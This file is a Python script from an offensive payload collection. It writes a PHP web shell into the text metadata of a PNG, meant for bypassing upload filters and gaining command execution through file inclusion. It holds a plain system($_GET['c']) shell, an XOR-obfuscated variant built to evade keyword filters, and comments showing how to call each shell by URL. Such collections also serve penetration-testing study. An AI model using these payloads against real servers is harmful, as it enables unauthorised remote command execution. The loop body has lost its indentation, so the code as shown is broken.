killchain-compendium/misc/PayloadsAllTheThings/Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py

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2022-05-31 21:08:28 +02:00
from __future__ import print_function
from PIL import Image
# Shellcodes - Bypass included : Keyword Recognition : System, GET, php
# --- How to use : http://localhost/shell.php?c=echo%20'<pre>';ls
#shellcode = "<?=@`$_GET[c]`;"
shellcode = "<?php system($_GET['c']); ?>"
# --- How to use : http://localhost/shell.php?_=system&__=echo%20'<pre>';ls
shellcode2 = "<?='Sh3ll'; $_='{';$_=($_^'<').($_^'>;').($_^'/');?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>"
print("\n[+] Advanced Upload - Shell inside metadatas of a PNG file")
# Create a backdoored PNG
print(" - Creating a payload.png")
im = Image.new("RGB", (10,10), "Black")
im.info["shell"] = shellcode
reserved = ('interlace', 'gamma', 'dpi', 'transparency', 'aspect')
# undocumented class
from PIL import PngImagePlugin
meta = PngImagePlugin.PngInfo()
# copy metadata into new object
for k,v in im.info.items():
if k in reserved: continue
meta.add_text(k, v, 0)
im.save("payload.png", "PNG", pnginfo=meta)
print("Done")